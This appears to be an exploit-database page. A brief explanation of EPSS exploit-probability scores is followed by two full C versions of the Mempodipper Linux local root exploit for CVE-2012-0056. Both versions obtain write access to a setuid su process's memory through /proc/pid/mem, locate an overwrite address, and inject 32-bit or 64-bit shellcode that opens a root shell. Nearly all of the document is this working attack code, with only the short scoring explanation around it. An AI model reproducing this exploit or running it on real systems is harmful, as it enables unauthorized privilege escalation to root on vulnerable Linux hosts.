The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c Blog post about it is here: http://blog.zx2c4.com/749 EDB-Note: Updated version can be found here: https://www.exploit-db.com/exploits/35161/ # Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit # Date: Jan 21, 2012 # Author: zx2c4 # Tested on: Gentoo, Ubuntu # Platform: Linux # Category: Local # CVE-2012-0056 * Mempodipper * by zx2c4 * * Linux Local Root Exploit * * Rather than put my write up here, per usual, this time I've put it * in a rather lengthy blog post: http://blog.zx2c4.com/749 * * Enjoy. * * - zx2c4 * Jan 21, 2012 * * CVE-2012-0056 */ #define _LARGEFILE64_SOURCE #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/un.h> #include <fcntl.h> #include <unistd.h> #include <limits.h> char *socket_path = "/tmp/.sockpuppet"; int send_fd(int fd) { char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; struct sockaddr_un addr; int n; int sock; char cms[CMSG_SPACE(sizeof(int))]; if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) return -1; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) return -1; buf[0] = 0; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = CMSG_LEN(sizeof(int)); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; memmove(CMSG_DATA(cmsg), &fd, sizeof(int)); if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len) return -1; close(sock); return 0; } int recv_fd() { int listener; int sock; int n; int fd; char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; struct sockaddr_un addr; char cms[CMSG_SPACE(sizeof(int))]; if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) return -1; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); unlink(socket_path); if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0) return -1; if (listen(listener, 1) < 0) return -1; if ((sock = accept(listener, NULL, NULL)) < 0) return -1; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_name = 0; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = sizeof cms; if ((n = recvmsg(sock, &msg, 0)) < 0) return -1; if (n == 0) return -1; cmsg = CMSG_FIRSTHDR(&msg); memmove(&fd, CMSG_DATA(cmsg), sizeof(int)); close(sock); close(listener); return fd; } int main(int argc, char **argv) { if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') { char parent_mem[256]; sprintf(parent_mem, "/proc/%s/mem", argv[2]); printf("[+] Opening parent mem %s in child.\n", parent_mem); int fd = open(parent_mem, O_RDWR); if (fd < 0) { perror("[-] open"); return 1; } printf("[+] Sending fd %d to parent.\n", fd); send_fd(fd); return 0; } printf("===============================\n"); printf("= Mempodipper =\n"); printf("= by zx2c4 =\n"); printf("= Jan 21, 2012 =\n"); printf("===============================\n\n"); int parent_pid = getpid(); if (fork()) { printf("[+] Waiting for transferred fd in parent.\n"); int fd = recv_fd(); printf("[+] Received fd at %d.\n", fd); if (fd < 0) { perror("[-] recv_fd"); return -1; } printf("[+] Assigning fd %d to stderr.\n", fd); dup2(2, 6); dup2(fd, 2); unsigned long address; if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') address = strtoul(argv[2], NULL, 16); else { printf("[+] Reading su for exit@plt.\n"); // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed. FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); char result[32]; result[0] = 0; fgets(result, 32, command); pclose(command); address = strtoul(result, NULL, 16); if (address == ULONG_MAX || !address) { printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]); return 1; } printf("[+] Resolved exit@plt to 0x%lx.\n", address); } printf("[+] Calculating su padding.\n"); FILE *command = popen("su this-user-does-not-exist 2>&1", "r"); char result[256]; result[0] = 0; fgets(result, 256, command); pclose(command); unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char); unsigned long offset = address - su_padding; printf("[+] Seeking to offset 0x%lx.\n", offset); lseek64(fd, offset, SEEK_SET); #if defined(__i386__) // See shellcode-32.s in this package for the source. char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" "\x80"; #elif defined(__x86_64__) // See shellcode-64.s in this package for the source. char shellcode[] = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40" "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69" "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb" "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48" "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; #else #error "That platform is not supported." #endif printf("[+] Executing su with shellcode.\n"); execl("/bin/su", "su", shellcode, NULL); } else { char pid[32]; sprintf(pid, "%d", parent_pid); printf("[+] Executing child from child fork.\n"); execl("/proc/self/exe", argv[0], "-c", pid, NULL); } }

/* Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c Blog post about it is here: http://blog.zx2c4.com/749 */ /* * Mempodipper * by zx2c4 * * Linux Local Root Exploit * * Rather than put my write up here, per usual, this time I've put it * in a rather lengthy blog post: http://blog.zx2c4.com/749 * * Enjoy. * * - zx2c4 * Jan 21, 2012 * * CVE-2012-0056 */ #define _LARGEFILE64_SOURCE #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/user.h> #include <sys/ptrace.h> #include <sys/reg.h> #include <fcntl.h> #include <unistd.h> #include <limits.h> char *prog_name; int send_fd(int sock, int fd) { char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; int n; char cms[CMSG_SPACE(sizeof(int))]; buf[0] = 0; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = CMSG_LEN(sizeof(int)); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; memmove(CMSG_DATA(cmsg), &fd, sizeof(int)); if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len) return -1; close(sock); return 0; } int recv_fd(int sock) { int n; int fd; char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; char cms[CMSG_SPACE(sizeof(int))]; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_name = 0; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = sizeof cms; if ((n = recvmsg(sock, &msg, 0)) < 0) return -1; if (n == 0) return -1; cmsg = CMSG_FIRSTHDR(&msg); memmove(&fd, CMSG_DATA(cmsg), sizeof(int)); close(sock); return fd; } unsigned long ptrace_address() { int fd[2]; printf("[+] Creating ptrace pipe.\n"); pipe(fd); fcntl(fd[0], F_SETFL, O_NONBLOCK); printf("[+] Forking ptrace child.\n"); int child = fork(); if (child) { close(fd[1]); char buf; printf("[+] Waiting for ptraced child to give output on syscalls.\n"); for (;;) { wait(NULL); if (read(fd[0], &buf, 1) > 0) break; ptrace(PTRACE_SYSCALL, child, NULL, NULL); } printf("[+] Error message written. Single stepping to find address.\n"); struct user_regs_struct regs; for (;;) { ptrace(PTRACE_SINGLESTEP, child, NULL, NULL); wait(NULL); ptrace(PTRACE_GETREGS, child, NULL, &regs); #if defined(__i386__) #define instruction_pointer regs.eip #define upper_bound 0xb0000000 #elif defined(__x86_64__) #define instruction_pointer regs.rip #define upper_bound 0x700000000000 #else #error "That platform is not supported." #endif if (instruction_pointer < upper_bound) { unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL); if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */) return instruction_pointer; } } } else { printf("[+] Ptrace_traceme'ing process.\n"); if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) { perror("[-] ptrace"); return 0; } close(fd[0]); dup2(fd[1], 2); execl("/bin/su", "su", "not-a-valid-user", NULL); } return 0; } unsigned long objdump_address() { FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); if (!command) { perror("[-] popen"); return 0; } char result[32]; fgets(result, 32, command); pclose(command); return strtoul(result, NULL, 16); } unsigned long find_address() { printf("[+] Ptracing su to find next instruction without reading binary.\n"); unsigned long address = ptrace_address(); if (!address) { printf("[-] Ptrace failed.\n"); printf("[+] Reading su binary with objdump to find exit@plt.\n"); address = objdump_address(); if (address == ULONG_MAX || !address) { printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name); exit(-1); } } printf("[+] Resolved call address to 0x%lx.\n", address); return address; } int su_padding() { printf("[+] Calculating su padding.\n"); FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r"); if (!command) { perror("[-] popen"); exit(1); } char result[256]; fgets(result, 256, command); pclose(command); return strstr(result, "this-user-does-not-exist") - result; } int child(int sock) { char parent_mem[256]; sprintf(parent_mem, "/proc/%d/mem", getppid()); printf("[+] Opening parent mem %s in child.\n", parent_mem); int fd = open(parent_mem, O_RDWR); if (fd < 0) { perror("[-] open"); return 1; } printf("[+] Sending fd %d to parent.\n", fd); send_fd(sock, fd); return 0; } int parent(unsigned long address) { int sockets[2]; printf("[+] Opening socketpair.\n"); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) { perror("[-] socketpair"); return 1; } if (fork()) { printf("[+] Waiting for transferred fd in parent.\n"); int fd = recv_fd(sockets[1]); printf("[+] Received fd at %d.\n", fd); if (fd < 0) { perror("[-] recv_fd"); return 1; } printf("[+] Assigning fd %d to stderr.\n", fd); dup2(2, 15); dup2(fd, 2); unsigned long offset = address - su_padding(); printf("[+] Seeking to offset 0x%lx.\n", offset); lseek64(fd, offset, SEEK_SET); #if defined(__i386__) // See shellcode-32.s in this package for the source. char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" "\x80"; #elif defined(__x86_64__) // See shellcode-64.s in this package for the source. char shellcode[] = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48" "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f" "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7" "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50" "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; #else #error "That platform is not supported." #endif printf("[+] Executing su with shellcode.\n"); execl("/bin/su", "su", shellcode, NULL); } else { char sock[32]; sprintf(sock, "%d", sockets[0]); printf("[+] Executing child from child fork.\n"); execl("/proc/self/exe", prog_name, "-c", sock, NULL); } return 0; } int main(int argc, char **argv) { prog_name = argv[0]; if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') return child(atoi(argv[2])); printf("===============================\n"); printf("= Mempodipper =\n"); printf("= by zx2c4 =\n"); printf("= Jan 21, 2012 =\n"); printf("===============================\n\n"); if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') return parent(strtoul(argv[2], NULL, 16)); else return parent(find_address()); }